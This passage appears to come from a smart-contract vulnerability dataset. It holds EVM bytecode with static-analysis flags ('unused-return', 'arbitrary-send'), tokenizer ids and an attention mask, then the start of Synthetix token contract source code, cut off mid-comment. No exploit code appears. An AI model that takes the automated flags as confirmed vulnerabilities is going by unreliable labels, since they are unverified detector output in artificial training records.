`owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x60806040526004361061012d5760003560e01c80638da5cb5b116100a5578063bec872b011610074578063c6dc30f611610059578063c6dc30f614610391578063d42abed3146103c5578063feaea586146103e557610134565b8063bec872b01461035c578063c63dd2441461037c57610134565b80638da5cb5b146102b257806399940ece146102d2578063a6f9dae114610306578063ac856ea01461032857610134565b806335aa6df8116100fc5780635825a150116100e15780635825a150146102345780637c19f0051461024a578063807e6e7d1461027e57610134565b806335aa6df8146101e05780634f64b2be1461021457610134565b8063047e367014610139578063052c7b751461018a5780631f257dd1146101ab57806327d0639d146101c057610134565b3661013457005b600080fd5b34801561014557600080fd5b5061016d7f000000000000000000000000ef8e1b4b676a5285db79d55d3288bc5fe65c71cc81565b6040516001600160a01b0390911681526020015b60405180910390f35b61019d6101983660046115ed565b610405565b604051908152602001610181565b3480156101b757600080fd5b5061019d6106fd565b3480156101cc57600080fd5b5061019d6101db3660046115ed565b610843565b3480156101ec57600080fd5b5061016d7f000000000000000000000000f92f4d924faf02d94f37bb886966fd2460f924fd81565b34801561022057600080fd5b5061016d61022f3660046115ed565b610a1d565b34801561024057600080fd5b5061019d60015481565b34801561025657600080fd5b5061016d7f000000000000000000000000abea9132b05a70803a4e85094fd0e1800777fbef81565b34801561028a57600080fd5b5061016d7f00000000000000000000000006325440d014e39736583c165c2963ba99faf14e81565b3480156102be57600080fd5b5060005461016d906001600160a01b031681565b3480156102de57600080fd5b5061016d7f000000000000000000000000ae7ab96520de3a18e5e111b5eaab095312d7fe8481565b34801561031257600080fd5b50610326610321366004611551565b610aa9565b005b34801561033457600080fd5b5061016d7f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f6702281565b34801561036857600080fd5b506103266103773660046115ed565b610bbc565b34801561038857600080fd5b5061019d610c9c565b34801561039d57600080fd5b5061016d7f000000000000000000000000dcd90c7f6324cfa40d7169ef80b12031770b432581565b3480156103d157600080fd5b5061019d6103e036600461161d565b610cbf565b3480156103f157600080fd5b5061019d61040036600461156b565b610e8a565b6000806104bd7f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f670226001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561046457600080fd5b505afa158015610478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049c9190611605565b6104ae85670de0b6b3a76400006116b8565b6104b89190611698565b6110c6565b905060007f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f670226001600160a01b0316630b4c7e4d8560405180604001604052808881526020016000815250856040518463ffffffff1660e01b8152600401610525929190611648565b6020604051808303818588803b15801561053e57600080fd5b505af1158015610552573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105779190611605565b60405163095ea7b360e01b81526001600160a01b037f000000000000000000000000dcd90c7f6324cfa40d7169ef80b12031770b432581166004830152602482018390529192507f00000000000000000000000006325440d014e39736583c165c2963ba99faf14e9091169063095ea7b390604401602060405180830381600087803b15801561060657600080fd5b505af115801561061a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063e919061159d565b506040517fb6b55f25000000000000000000000000000000000000000000000000000000008152600481018290527f000000000000000000000000dcd90c7f6324cfa40d7169ef80b12031770b43256001600160a01b03169063b6b55f25906024015b602060405180830381600087803b1580156106bb57600080fd5b505af11580156106cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f39190611605565b925050505b919050565b6000670de0b6b3a76400007f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f670226001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561076157600080fd5b505afa158015610775573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107999190611605565b7f000000000000000000000000dcd90c7f6324cfa40d7169ef80b12031770b43256001600160a01b03166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f257600080fd5b505afa158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611605565b61083491906116b8565b61083e9190611698565b905090565b6040517f2e1a7d4d0000000000000000000000000000000000000000000000000000000081526004810182905260009081906001600160a01b037f000000000000000000000000dcd90c7f6324cfa40d7169ef80b12031770b43251690632e1a7d4d90602401602060405180830381600087803b1580156108c357600080fd5b505af11580156108d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fb9190611605565b905060006109a6670de0b6b3a76400007f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f670226001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561096457600080fd5b505afa158015610978573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099c9190611605565b6104ae90856116b8565b6040517f1a4d01d20000000000000000000000000000000000000000000000000000000081526004810184905260006024820152604481018290529091507f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f670226001600160a01b031690631a4d01d2906064016106a1565b600081610a2c575060006106f8565b8160011415610a5c57507f000000000000000000000000dcd90c7f6324cfa40d7169ef80b12031770b43256106f8565b60405162461bcd60e51b815260206004820152600e60248201527f696e76616c6964205f696e64657800000000000000000000000000000000000060448201526064015b60405180910390fd5b6000546001600160a01b03163314610af25760405162461bcd60e51b815260206004820152600c60248201526b1d5b985d5d1a1bdc9a5cd95960a21b6044820152606401610aa0565b6001600160a01b038116610b485760405162461bcd60e51b815260206004820152600d60248201527f696e76616c696420696e707574000000000000000000000000000000000000006044820152606401610aa0565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040805182815260208101929092527fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c91015b60405180910390a150565b6000546001600160a01b03163314610c055760405162461bcd60e51b815260206004820152600c60248201526b1d5b985d5d1a1bdc9a5cd95960a21b6044820152606401610aa0565b6001548114158015610c1b57506305f5e1008111155b610c675760405162461bcd60e51b815260206004820152601060248201527f696e76616c696420736c697070616765000000000000000000000000000000006044820152606401610aa0565b60018190556040518181527febfb7b9839a38a6c5d27e43aeb27cf7c47a40bde9262cabba968aecd6336ea1090602001610bb1565b6000610ca66106fd565b61083e906ec097ce7bc90715b34b9f1000000000611698565b6000610ccb8385611680565b600114610d1a5760405162461bcd60e51b815260206004820152600f60248201527f696e76616c696420696e646578657300000000000000000000000000000000006044820152606401610aa0565b83610dd357610d2960006110f9565b610d3282610405565b9050610d5e7f000000000000000000000000dcd90c7f6324cfa40d7169ef80b12031770b432582611288565b6040805160008152602081018490527f000000000000000000000000dcd90c7f6324cfa40d7169ef80b12031770b43256001600160a01b0316818301526060810183905290517fdb587d878116df0bdd4fe154699aa2c5f439da001cc811dfd05d9f589fc5a8ee9181900360800190a1610e83565b610dfc7f000000000000000000000000dcd90c7f6324cfa40d7169ef80b12031770b43256110f9565b610e0582610843565b9050610e12600082611288565b604080517f000000000000000000000000dcd90c7f6324cfa40d7169ef80b12031770b43256001600160a01b03168152602081018490526000818301526060810183905290517fdb587d878116df0bdd4fe154699aa2c5f439da001cc811dfd05d9f589fc5a8ee9181900360800190a15b9392505050565b600080546001600160a01b03163314610ed45760405162461bcd60e51b815260206004820152600c60248201526b1d5b985d5d1a1bdc9a5cd95960a21b6044820152606401610aa0565b60006001600160a01b038316610f40576040514792506001600160a01b038516908390600081818185875af1925050503d8060008114610f30576040519150601f19603f3d011682016040523d82523d6000602084013e610f35565b606091505b505080915050611072565b6040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038416906370a082319060240160206040518083038186803b158015610f9857600080fd5b505afa158015610fac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd09190611605565b6040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b038681166004830152602482018390529193509084169063a9059cbb90604401602060405180830381600087803b15801561103757600080fd5b505af115801561104b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106f919061159d565b90505b806110bf5760405162461bcd60e51b815260206004820152601160248201527f6661696c656420746f207265636f7665720000000000000000000000000000006044820152606401610aa0565b5092915050565b60006305f5e1006001546305f5e1006110df91906116d7565b6110e990846116b8565b6110f39190611698565b92915050565b6040517f5aca41f60000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b0382811660248301526000917f000000000000000000000000abea9132b05a70803a4e85094fd0e1800777fbef90911690635aca41f69060440160206040518083038186803b15801561117e57600080fd5b505afa158015611192573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b691906115bd565b90506fffffffffffffffffffffffffffffffff811615611284576040517fd514da500000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b0383811660248301526fffffffffffffffffffffffffffffffff831660448301527f000000000000000000000000abea9132b05a70803a4e85094fd0e1800777fbef169063d514da50906064015b600060405180830381600087803b15801561126b57600080fd5b505af115801561127f573d6000803e3d6000fd5b505050505b5050565b6001600160a01b038216611351576040517f2d2da8060000000000000000000000000000000000000000000000000000000081526001600160a01b037f000000000000000000000000f92f4d924faf02d94f37bb886966fd2460f924fd811660048301527f000000000000000000000000abea9132b05a70803a4e85094fd0e1800777fbef1690632d2da8069083906024016000604051808303818588803b15801561133357600080fd5b505af1158015611347573d6000803e3d6000fd5b5050505050611284565b60405163095ea7b360e01b81526001600160a01b037f000000000000000000000000abea9132b05a70803a4e85094fd0e1800777fbef811660048301526024820183905283169063095ea7b390604401602060405180830381600087803b1580156113bb57600080fd5b505af11580156113cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f3919061159d565b507f000000000000000000000000abea9132b05a70803a4e85094fd0e1800777fbef6001600160a01b031663e17376b58361142d846114b1565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b0392831660048201526cffffffffffffffffffffffffff90911660248201527f000000000000000000000000f92f4d924faf02d94f37bb886966fd2460f924fd919091166044820152606401611251565b60006cffffffffffffffffffffffffff8211156115365760405162461bcd60e51b815260206004820152602760248201527f53616665436173743a2076616c756520646f65736e27742066697420696e203160448201527f30342062697473000000000000000000000000000000000000000000000000006064820152608401610aa0565b5090565b80356001600160a01b03811681146106f857600080fd5b600060208284031215611562578081fd5b610e838261153a565b6000806040838503121561157d578081fd5b6115868361153a565b91506115946020840161153a565b90509250929050565b6000602082840312156115ae578081fd5b81518015158114610e83578182fd5b6000602082840312156115ce578081fd5b81516fffffffffffffffffffffffffffffffff81168114610e83578182fd5b6000602082840312156115fe578081fd5b5035919050565b600060208284031215611616578081fd5b5051919050565b600080600060608486031215611631578081fd5b505081359360208301359350604090920135919050565b60608101818460005b6002811015611670578151835260209283019290910190600101611651565b5050508260408301529392505050565b60008219821115611693576116936116ee565b500190565b6000826116b357634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116d2576116d26116ee565b500290565b6000828210156116e9576116e96116ee565b500390565b634e487b7160e01b600052601160045260246000fdfea264697066735822122087eec42b500ea7fd96d9d68515e78568d804080290b0933cd6d27d934c182ecd64736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 28756, 2581, 2278, 2692, 2546, 21472, 24096, 20958, 2620, 2278, 25746, 20958, 2094, 2549, 2497, 26187, 24096, 2497, 2575, 2683, 2063, 2620, 9818, 2692, 2050, 23352, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1017, 1025, 12324, 1000, 1012, 1013, 1062, 5705, 6038, 27421, 9438, 26760, 29098, 2121, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 6335, 13820, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 24582, 3126, 3726, 16869, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 1045, 29100, 2078, 3567, 11314, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 5060, 15800, 3802, 2232, 2005, 1996, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,837
0x97767D7D04Fd0dB0A1a2478DCd4BA85290556B48
/* ⚠⚠⚠ WARNING WARNING WARNING ⚠⚠⚠ This is a TARGET contract - DO NOT CONNECT TO IT DIRECTLY IN YOUR CONTRACTS or DAPPS! This contract has an associated PROXY that MUST be used for all integrations - this TARGET will be REPLACED in an upcoming Synthetix release! The proxy for this contract can be found here: https://contracts.synthetix.io/ProxyERC20 *//* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: Synthetix.sol * * Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/Synthetix.sol * Docs: https://docs.synthetix.io/contracts/Synthetix * * Contract Dependencies: * - BaseSynthetix * - ExternStateToken * - IAddressResolver * - IERC20 * - ISynthetix * - MixinResolver * - Owned * - Proxyable * - State * Libraries: * - SafeDecimalMath * - SafeMath * - VestingEntries * * MIT License * =========== * * Copyright (c) 2021 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/ierc20 interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // https://docs.synthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/proxy contract Proxy is Owned { Proxyable public target; constructor(address _owner) public Owned(_owner) {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function _emit( bytes calldata callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4 ) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { /* The first 32 bytes of callData contain its length (as specified by the abi). * Length is assumed to be a uint256 and therefore maximum of 32 bytes * in length. It is also leftpadded to be a multiple of 32 bytes. * This means moving call_data across 32 bytes guarantees we correctly access * the data itself. */ switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } // solhint-disable no-complex-fallback function() external payable { // Mutable call setting Proxyable.messageSender as this is using call not delegatecall target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* We must explicitly forward ether to the underlying contract as well. */ let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/proxyable contract Proxyable is Owned { // This contract should be treated like an abstract contract /* The proxy this contract exists behind. */ Proxy public proxy; Proxy public integrationProxy; /* The caller of the proxy, passed through to this contract. * Note that every function using this member must apply the onlyProxy or * optionalProxy modifiers, otherwise their invocations can use stale values. */ address public messageSender; constructor(address payable _proxy) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address payable _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setIntegrationProxy(address payable _integrationProxy) external onlyOwner { integrationProxy = Proxy(_integrationProxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { _onlyProxy(); _; } function _onlyProxy() private view { require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call"); } modifier optionalProxy { _optionalProxy(); _; } function _optionalProxy() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } } modifier optionalProxy_onlyOwner { _optionalProxy_onlyOwner(); _; } // solhint-disable-next-line func-name-mixedcase function _optionalProxy_onlyOwner() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } require(messageSender == owner, "Owner only function"); } event ProxyUpdated(address proxyAddress); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Libraries // https://docs.synthetix.io/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } // Inheritance // https://docs.synthetix.io/contracts/source/contracts/state contract State is Owned { // the address of the contract that can modify variables // this can only be changed by the owner of this contract address public associatedContract; constructor(address _associatedContract) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== SETTERS ========== */ // Change the associated contract to a new address function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== MODIFIERS ========== */ modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } /* ========== EVENTS ========== */ event AssociatedContractUpdated(address associatedContract); } // Inheritance // https://docs.synthetix.io/contracts/source/contracts/tokenstate contract TokenState is Owned, State { /* ERC20 fields. */ mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) public Owned(_owner) State(_associatedContract) {} /* ========== SETTERS ========== */ /** * @notice Set ERC20 allowance. * @dev Only the associated contract may call this. * @param tokenOwner The authorising party. * @param spender The authorised party. * @param value The total value the authorised party may spend on the * authorising party's behalf. */ function setAllowance( address tokenOwner, address spender, uint value ) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } /** * @notice Set the balance in a given account * @dev Only the associated contract may call this. * @param account The account whose value to set. * @param value The new balance of the given account. */ function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } // Inheritance // Libraries // Internal references // https://docs.synthetix.io/contracts/source/contracts/externstatetoken contract ExternStateToken is Owned, Proxyable { using SafeMath for uint; using SafeDecimalMath for uint; /* ========== STATE VARIABLES ========== */ /* Stores balances and allowances. */ TokenState public tokenState; /* Other ERC20 fields. */ string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor( address payable _proxy, TokenState _tokenState, string memory _name, string memory _symbol, uint _totalSupply, uint8 _decimals, address _owner ) public Owned(_owner) Proxyable(_proxy) { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } /* ========== VIEWS ========== */ /** * @notice Returns the ERC20 allowance of one party to spend on behalf of another. * @param owner The party authorising spending of their funds. * @param spender The party spending tokenOwner's funds. */ function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } /** * @notice Returns the ERC20 token balance of a given account. */ function balanceOf(address account) external view returns (uint) { return tokenState.balanceOf(account); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Set the address of the TokenState contract. * @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000.. * as balances would be unreachable. */ function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(address(_tokenState)); } function _internalTransfer( address from, address to, uint value ) internal returns (bool) { /* Disallow transfers to irretrievable-addresses. */ require(to != address(0) && to != address(this) && to != address(proxy), "Cannot transfer to this address"); // Insufficient balance will be handled by the safe subtraction. tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); // Emit a standard ERC20 transfer event emitTransfer(from, to, value); return true; } /** * @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing * the onlyProxy or optionalProxy modifiers. */ function _transferByProxy( address from, address to, uint value ) internal returns (bool) { return _internalTransfer(from, to, value); } /* * @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions * possessing the optionalProxy or optionalProxy modifiers. */ function _transferFromByProxy( address sender, address from, address to, uint value ) internal returns (bool) { /* Insufficient allowance will 